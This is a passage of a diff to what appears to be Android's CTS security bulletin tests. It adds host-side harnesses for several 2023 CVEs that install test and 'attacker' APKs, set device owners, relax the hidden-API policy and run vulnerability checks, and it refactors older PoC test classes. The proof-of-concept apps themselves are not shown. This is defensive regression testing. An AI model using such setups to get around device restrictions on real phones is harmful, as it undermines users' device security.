+ device.removeUser(workUserId);
+ } catch (Exception ignored) {
+ // ignore the exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
new file mode 100644
index 0000000..659c002
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20918 extends NonRootSecurityTestCase {
+
+ // b/243794108
+ // Vulnerable library : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 243794108)
+ @Test
+ public void testPocCVE_2023_20918() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2023_20918_test";
+
+ // Install the test and attacker apps
+ installPackage("CVE-2023-20918-test.apk");
+ installPackage("CVE-2023-20918-attacker.apk");
+
+ // Allow access to hidden api "ActivityOptions#setPendingIntentLaunchFlags()"
+ try (AutoCloseable closable =
+ SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+ // Run the test "testCVE_2023_20918"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20918");
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20955.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20955.java
new file mode 100644
index 0000000..96f2257
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20955.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20955 extends NonRootSecurityTestCase {
+
+ // b/258653813
+ // Vulnerable app : Settings.apk
+ // Vulnerable package : com.android.settings
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 240663194)
+ @Test
+ public void testPocCVE_2023_20955() {
+ int userId = -1;
+ ITestDevice device = null;
+ final String testPkg = "android.security.cts.CVE_2023_20955_test";
+ final String componentName = testPkg + "/.PocDeviceAdminReceiver";
+ try {
+ device = getDevice();
+
+ // Install the test app
+ installPackage("CVE-2023-20955-test.apk", "-t");
+
+ // Set test app as device owner
+ assumeTrue("Failed to set test app as device owner",
+ device.setDeviceOwner(componentName, 0));
+
+ // Create a new user
+ userId = device.createUser("CTSUser");
+ assumeTrue("Failed to create a user. ITestDevice.createUser() returned -1",
+ userId != -1);
+
+ // Install test helper app for all users
+ installPackage("CVE-2023-20955-test-helper.apk", "--user all");
+
+ // Run device test to check if App Info window allows uninstall for all users if
+ // DevicePolicyManager has restricted it.
+ runDeviceTests(testPkg, testPkg + ".DeviceTest",
+ "testAppInfoUninstallForAllUsersDisabled");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Remove user
+ device.removeUser(userId);
+
+ // Remove test app as device owner
+ device.removeAdmin(componentName, 0);
+ } catch (Exception e) {
+ // ignore
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21000.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21000.java
new file mode 100644
index 0000000..949d382
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21000.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.SystemUtil.withSetting;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.ApiTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21000 extends NonRootSecurityTestCase {
+ private static final String TAG = "CVE_2023_21000";
+
+ // b/236688380
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 236688380)
+ @ApiTest(apis = "com.android.server.am.ActivityManagerService#openContentUri")
+ @Test
+ public void testPocCVE_2023_21000() {
+ try (AutoCloseable a = withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+ final String testPkg = "android.security.cts.CVE_2023_21000_test";
+
+ // Install the test app
+ installPackage("CVE-2023-21000-test.apk", "-t");
+
+ // Run the test "testCVE_2023_21000"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21000");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21088.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21088.java
new file mode 100644
index 0000000..db22e7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21088.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21088 extends NonRootSecurityTestCase {
+
+ // b/235823542
+ // Vulnerable module : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 235823542)
+ @Test
+ public void testPocCVE_2023_21088() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2023_21088";
+
+ // Install the app
+ installPackage("CVE-2023-21088.apk", "-g");
+
+ // Run the test "testCVE_2023_21088"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21088");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21128.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21128.java
new file mode 100644
index 0000000..30a6ee8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21128.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21128 extends NonRootSecurityTestCase {
+
+ // b/272042183
+ // Vulnerable module : Not applicable
+ // Vulnerable library : services.jar, framework.jar
+ @AsbSecurityTest(cveBugId = 272042183)
+ @Test
+ public void testPocCVE_2023_21128() {
+ ITestDevice device = null;
+ final String testPkg = "android.security.cts.CVE_2023_21128_test";
+ final String pocDeviceAdminPkg = testPkg + "/.PocDeviceAdminReceiver";
+ int currentUserId = -1;
+ try {
+ device = getDevice();
+ currentUserId = device.getCurrentUser();
+
+ // Install the helper app
+ installPackage("CVE-2023-21128-helper.apk");
+
+ // Install the test app
+ installPackage("CVE-2023-21128-test.apk", "-t");
+
+ // Set the test app as device owner for the current user
+ device.setDeviceOwner(pocDeviceAdminPkg, currentUserId);
+
+ // Run the test "testCVE_2023_21128"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21128");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Remove test app as active admin
+ device.removeAdmin(pocDeviceAdminPkg, currentUserId);
+ } catch (Exception ignored) {
+ // Ignore the exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21135.java
new file mode 100644
index 0000000..6b10436
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21135.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21135 extends NonRootSecurityTestCase {
+
+ // b/260570119
+ // Vulnerable module : Settings.apk
+ @AsbSecurityTest(cveBugId = 260570119)
+ @Test
+ public void testPocCVE_2023_21135() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2023_21135";
+ installPackage("CVE-2023-21135.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testNotificationPermission");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+ } catch (Exception ignored) {
+ // ignore the exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21251.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21251.java
new file mode 100644
index 0000000..a88f5d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21251.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21251 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 204554636)
+ @Test
+ public void testPocCVE_2023_21251() {
+ try {
+ installPackage("CVE-2023-21251.apk");
+ final String testPkg = "android.security.cts.CVE_2023_21251";
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_21251");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ // To remove the ConfirmDialog window
+ try {
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+ } catch (Exception ignore) {
+ // ignore
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
deleted file mode 100644
index 1d57cb6..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.ddmlib.Log;
-
-import com.google.common.collect.ImmutableSet;
-
-import java.util.Set;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class HostsideMainlineModuleDetector {
- private static final String LOG_TAG = "MainlineModuleDetector";
-
- private SecurityTestCase context;
-
- private static ImmutableSet<String> playManagedModules;
-
- HostsideMainlineModuleDetector(SecurityTestCase context) {
- this.context = context;
- }
-
- synchronized Set<String> getPlayManagedModules() throws Exception {
- if (playManagedModules == null) {
- AdbUtils.runCommandLine("logcat -c", context.getDevice());
- String output = AdbUtils.runCommandLine(
- "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
- context.getDevice());
- Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
- "am output: " + output);
- Thread.sleep(5 * 1000L);
- String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
- context.getDevice());
- Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
- "Found logcat output: " + logcat);
- Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
- if (matcher.find()) {
- playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
- } else {
- playManagedModules = ImmutableSet.of();
- }
- }
- return playManagedModules;
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 367c766..2a0a572 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -15,15 +15,18 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_04 extends SecurityTestCase {
+public class Poc16_04 extends NonRootSecurityTestCase {
/**
* b/26323455
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index f185352..a837d5b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_05 extends SecurityTestCase {
+public class Poc16_05 extends NonRootSecurityTestCase {
/**
* b/27555981
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 6f7d26b..d4519ba3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_06 extends SecurityTestCase {
+public class Poc16_06 extends NonRootSecurityTestCase {
/**
* b/27661749
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index d598252..ae91d11 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_07 extends SecurityTestCase {
+public class Poc16_07 extends NonRootSecurityTestCase {
/**
* b/28740702
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index e3f9906..69821c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_09 extends SecurityTestCase {
+public class Poc16_09 extends NonRootSecurityTestCase {
/**
* b/27773913
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index c19333a..beec744 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_10 extends SecurityTestCase {
+public class Poc16_10 extends NonRootSecurityTestCase {
/**
* b/30204103
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index 5012920c..e1334b5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_11 extends SecurityTestCase {
+public class Poc16_11 extends NonRootSecurityTestCase {
/**
* b/29149404
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 392b11a..9657064 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc16_12 extends SecurityTestCase {
+public class Poc16_12 extends NonRootSecurityTestCase {
//Criticals
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 0773716..71e6998 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_01 extends SecurityTestCase {
+public class Poc17_01 extends NonRootSecurityTestCase {
//Criticals
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 1fd4bf9..cd3dab0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_02 extends SecurityTestCase {
+public class Poc17_02 extends NonRootSecurityTestCase {
/**
* b/32799236
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 50093b8..fba7146 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -16,17 +16,20 @@
package android.security.cts;
-import java.util.concurrent.Callable;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Callable;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_03 extends SecurityTestCase {
+public class Poc17_03 extends NonRootSecurityTestCase {
/**
* b/31824853
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 36f921c..478398b8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_04 extends SecurityTestCase {
+public class Poc17_04 extends NonRootSecurityTestCase {
/**
* b/32342065
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index fcedfb9..11a3123 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -16,18 +16,18 @@
package android.security.cts;
-import java.util.Arrays;
-import java.util.concurrent.Callable;
-
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_05 extends SecurityTestCase {
+public class Poc17_05 extends NonRootSecurityTestCase {
/*
* CVE-2016-5862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
index a3609a24..9afeb9b 100644
